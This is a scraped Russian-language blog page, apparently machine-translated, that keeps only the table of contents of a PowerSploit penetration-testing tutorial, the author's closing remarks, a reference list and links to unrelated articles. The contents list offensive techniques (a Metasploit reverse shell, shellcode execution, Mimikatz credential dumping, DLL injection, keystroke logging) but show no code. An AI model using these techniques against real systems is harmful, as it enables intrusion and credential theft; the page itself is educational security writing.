  • 2. Подробное объяснение атаки PowerSploit. 1. Установка PowerSploit 2. Оболочка отскока MSF 3.Код выполнения Invoke-Shellcode 4.Invoke-Portscan порт сканирования 5.Invoke-Mimikatz 6.Invoke-DllInjection 7.Get-Keystrokes 8. Классификация и функции сценариев.
  • 3. Резюме

Если в этой статье есть какие-либо недостатки, пожалуйста, простите меня. Путь медленного роста автора как новичка в области сетевой безопасности! Надеюсь в будущем написать более подробные статьи об этом. В то же время я очень благодарен экспертам по безопасности в справочной литературе за то, что они поделились своими статьями. Я знаю, что у меня это плохо получается и мне придется много работать, чтобы двигаться вперед.

(Автор: Eastmount, 16 декабря 2022 г., Ночь на Марсе)

Справочная статья выглядит следующим образом: спасибо этим большим ребятам.

  • Книга учителя Сюй Яня «Практическое руководство по тестированию на проникновение в систему веб-безопасности и защите»
  • [Самообучение сетевой безопасности] 19. Базовое введение и обычное использование Powershell (1)
  • [Самообучение сетевой безопасности] 20. Базовое введение и обычное использование Powershell (2)
  • Краткий анализ использования PowerShell — г-н Се
  • https://www.cnblogs.com/yuzly/p/10505365.html
  • «Технология безопасного проникновения в дорожную сеть и практический анализ случаев», преподаватель Чэнь Сяобин
  • Автор блога CSDN
boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода